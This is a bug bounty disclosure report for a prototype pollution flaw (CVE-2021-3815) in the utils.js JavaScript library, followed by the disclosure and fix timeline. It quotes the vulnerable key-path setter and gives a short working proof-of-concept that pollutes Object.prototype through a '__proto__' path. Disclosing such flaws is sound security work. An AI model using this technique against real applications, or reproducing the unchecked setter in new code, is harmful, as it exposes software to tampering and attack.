Prototype Pollution in fabiocaccamo/utils.js

Valid Reported on Nov 30th 2021

0

Summary

I discovered a prototype pollution vulnerability via utils.js method analysis.

```
set: function(obj, path, value)
        {
            var keys = path.split('.');
            var key;
            var cursor = obj;
            for (var i = 0, j = keys.length; i < j; i++) {
                key = keys[i];
                if (!TypeUtil.isObject(cursor[key])) {
                    cursor[key] = {};
                }
                if (i < (j - 1)) {
                    cursor = cursor[key];
                } else {
                    cursor[key] = value;
                }
            }
        }
// https://github.com/fabiocaccamo/utils.js/blob/master/dist/utils.js#L2366
```

If you check the `set()` method of `utils.object.keypath`, you can see that the value of the `path` parameter is split with dots, and then merged with the value of the `value` parameter based on the key value. this means that it can be exploited as a prototype pollution.

```
const utils = require("@fabiocaccamo/utils.js");
const obj = {};
const fake_obj = {};

console.log(`[+] Before prototype pollution : ${obj.polluted}`);
utils.object.keypath.set(fake_obj, '__proto__.polluted', true);
console.log(`[+] After prototype pollution : ${obj.polluted}`);

/*
[+] Before prototype pollution : undefined
[+] After prototype pollution : true
*/
```

I wrote PoC as above!

```
 root@pocas   ~/BugBountyPoC/utils.js   node poc.js
[+] Before prototype pollution : undefined
[+] After prototype pollution : true
 root@pocas   ~/BugBountyPoC/utils.js
```

A prototype pollution vulnerability has occurred and you can see the object being polluted. To patch this vulnerability, use the `Object.freeze()` method or the key value must be verified. (e.g `__proto__`)

References

- Github Issue

CVE
CVE-2021-3815
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution

Severity
High (8)

Visibility
Public

Status
Fixed

Found by

Pocas

@p0cas

amateur

Fixed by

Fabio Caccamo

@fabiocaccamo

unranked

This report was seen 443 times.

We are processing your report and will contact the **fabiocaccamo/utils.js** team within 24 hours. a year ago

Pocas modified the report a year ago

Pocas modified the report a year ago

Pocas modified the report a year ago

Pocas modified the report a year ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

Pocas a year ago — Researcher

Hello. What should I do within this process?

We have contacted a member of the **fabiocaccamo/utils.js** team and are waiting to hear back a year ago

Fabio Caccamo validated this vulnerability a year ago

Pocas has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Pocas a year ago — Researcher

`https://github.com/fabiocaccamo/utils.js/commit/d9ebbcdbcd7b89abeeb240952ff5ab01ca372`

Hello! I confirmed that it has been patched in above commit.

Jamie Slome a year ago — Admin

@pocas - I have dropped a comment on the commit mentioned above, asking the maintainer to confirm.

Fabio Caccamo marked this as fixed in **0.17.2** with commit **102efa** a year ago

Fabio Caccamo has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation